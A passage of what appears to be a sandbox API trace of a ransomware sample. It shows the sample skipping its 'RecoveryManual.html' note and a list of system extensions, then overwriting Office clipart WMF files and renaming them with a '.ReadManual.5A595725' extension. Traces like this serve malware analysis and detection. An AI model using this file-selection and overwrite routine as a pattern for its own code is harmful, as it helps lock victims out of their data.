(lpBaseAddress=0x2f0000) returned 1 [0262.473] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38314191167) returned 1 [0262.473] CloseHandle (hObject=0x184) returned 1 [0262.473] SetSecurityInfo () returned 0x57 [0262.473] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.474] CloseHandle (hObject=0x194) returned 1 [0262.477] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01152_.WMF", cAlternateFileName="")) returned 1 [0262.477] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01152_.WMF" | out: lpString1="DD01152_.WMF") returned="DD01152_.WMF" [0262.477] lstrcmpiW (lpString1="DD01152_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.477] StrStrIW (lpFirst="DD01152_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.477] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.477] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.477] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.477] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.477] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.477] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.477] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.477] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.477] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.477] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.477] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.477] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.478] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.478] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.478] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" [0262.478] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.ReadManual.5A595725" [0262.478] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.ReadManual.5A595725") returned 87 [0262.478] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38314658103) returned 1 [0262.478] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x20 [0262.478] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.479] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2960) returned 1 [0262.479] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb90, lpName=0x0) returned 0x184 [0262.479] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.480] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.480] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.483] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.483] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb90) returned 0x2f0000 [0262.483] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.483] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38315201467) returned 1 [0262.483] CloseHandle (hObject=0x184) returned 1 [0262.483] SetSecurityInfo () returned 0x57 [0262.484] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.484] CloseHandle (hObject=0x194) returned 1 [0262.485] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01157_.WMF", cAlternateFileName="")) returned 1 [0262.485] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01157_.WMF" | out: lpString1="DD01157_.WMF") returned="DD01157_.WMF" [0262.485] lstrcmpiW (lpString1="DD01157_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.485] StrStrIW (lpFirst="DD01157_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.485] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.485] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.485] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.485] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.485] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.485] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.485] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.485] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.486] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.486] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.486] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.486] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.486] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.486] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.486] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" [0262.486] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.ReadManual.5A595725" [0262.486] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.ReadManual.5A595725") returned 87 [0262.486] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38315476404) returned 1 [0262.486] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x20 [0262.487] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.488] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3588) returned 1 [0262.488] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe04, lpName=0x0) returned 0x184 [0262.488] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.489] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.489] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.491] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.492] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe04) returned 0x2f0000 [0262.492] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.492] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38316076186) returned 1 [0262.492] CloseHandle (hObject=0x184) returned 1 [0262.492] SetSecurityInfo () returned 0x57 [0262.492] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.492] CloseHandle (hObject=0x194) returned 1 [0262.493] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01160_.WMF", cAlternateFileName="")) returned 1 [0262.493] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01160_.WMF" | out: lpString1="DD01160_.WMF") returned="DD01160_.WMF" [0262.493] lstrcmpiW (lpString1="DD01160_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.494] StrStrIW (lpFirst="DD01160_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.494] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.494] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.494] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.494] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.494] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.494] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.494] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.494] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.494] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.494] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.494] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.494] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.494] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.494] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.494] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" [0262.494] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.ReadManual.5A595725" [0262.494] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.ReadManual.5A595725") returned 87 [0262.494] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38316317082) returned 1 [0262.494] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x20 [0262.495] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.495] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2228) returned 1 [0262.495] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b4, lpName=0x0) returned 0x184 [0262.495] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.496] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.497] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.499] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.499] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b4) returned 0x2f0000 [0262.499] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.499] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38316819897) returned 1 [0262.499] CloseHandle (hObject=0x184) returned 1 [0262.500] SetSecurityInfo () returned 0x57 [0262.500] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.500] CloseHandle (hObject=0x194) returned 1 [0262.501] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01162_.WMF", cAlternateFileName="")) returned 1 [0262.501] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01162_.WMF" | out: lpString1="DD01162_.WMF") returned="DD01162_.WMF" [0262.501] lstrcmpiW (lpString1="DD01162_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.501] StrStrIW (lpFirst="DD01162_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.501] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.501] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.501] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.501] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.501] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.501] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.501] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.501] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.501] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.502] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.502] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.502] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.502] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.502] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.502] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" [0262.502] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.ReadManual.5A595725" [0262.502] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.ReadManual.5A595725") returned 87 [0262.502] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38317071192) returned 1 [0262.502] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x20 [0262.502] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.503] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2300) returned 1 [0262.503] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8fc, lpName=0x0) returned 0x184 [0262.503] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.504] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.504] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.506] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.506] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8fc) returned 0x2f0000 [0262.506] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.506] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38317517861) returned 1 [0262.506] CloseHandle (hObject=0x184) returned 1 [0262.507] SetSecurityInfo () returned 0x57 [0262.507] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.507] CloseHandle (hObject=0x194) returned 1 [0262.508] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01163_.WMF", cAlternateFileName="")) returned 1 [0262.508] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01163_.WMF" | out: lpString1="DD01163_.WMF") returned="DD01163_.WMF" [0262.508] lstrcmpiW (lpString1="DD01163_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.508] StrStrIW (lpFirst="DD01163_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.508] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.508] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.508] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.508] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.508] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.508] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.509] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.509] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.509] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.509] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.509] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.509] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.509] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.509] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.509] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" [0262.509] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.ReadManual.5A595725" [0262.509] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.ReadManual.5A595725") returned 87 [0262.509] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38317783275) returned 1 [0262.509] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x20 [0262.510] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.510] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2300) returned 1 [0262.510] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8fc, lpName=0x0) returned 0x184 [0262.510] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.511] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.511] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.515] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.515] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8fc) returned 0x2f0000 [0262.515] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.515] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38318416126) returned 1 [0262.515] CloseHandle (hObject=0x184) returned 1 [0262.516] SetSecurityInfo () returned 0x57 [0262.516] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.516] CloseHandle (hObject=0x194) returned 1 [0262.517] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01166_.WMF", cAlternateFileName="")) returned 1 [0262.517] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01166_.WMF" | out: lpString1="DD01166_.WMF") returned="DD01166_.WMF" [0262.517] lstrcmpiW (lpString1="DD01166_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.517] StrStrIW (lpFirst="DD01166_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.517] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.517] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.517] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.517] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.517] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.517] StrCmpIW (psz1="WMF", psz2="inf") returned 1 